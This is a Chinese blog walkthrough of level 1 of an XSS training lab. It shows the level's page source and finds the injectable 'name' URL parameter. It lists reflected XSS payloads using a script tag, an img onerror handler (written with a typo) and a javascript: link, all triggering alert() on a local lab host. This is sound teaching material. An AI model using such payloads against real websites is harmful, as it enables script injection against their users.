每一题都先检查源码,先从源码中找问题,再看URL
1.第一关
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
首先查看源码有没有接入点,发现没有接入点,对此再看url,看从url中能否找到突破点!
http://192.168.199.153/xss/level1.php?name=test
从此url中进行测试,把name=test修改一下看是否可以修改
http://192.168.199.153/xss/level1.php?name=123

如此,找到突破点,直接输入:
第一种:script标签
http://192.168.199.153/xss/level1.php?name=<script>alert()</script>
第二种:img标签
http://192.168.199.153/xss/level1.php?name=<img src=1 one rror=alert()>
其中的onerror=alert() 也可以使用 onclick=alert()、onmouseout=alert()
第三种:超链接<a>标签
http://192.168.199.153/xss/level1.php?name=<a href=”javascript:alert()”>点击</a>
原创文章,作者:dweifng,如若转载,请注明出处:https://blog.ytso.com/tech/pnotes/273162.html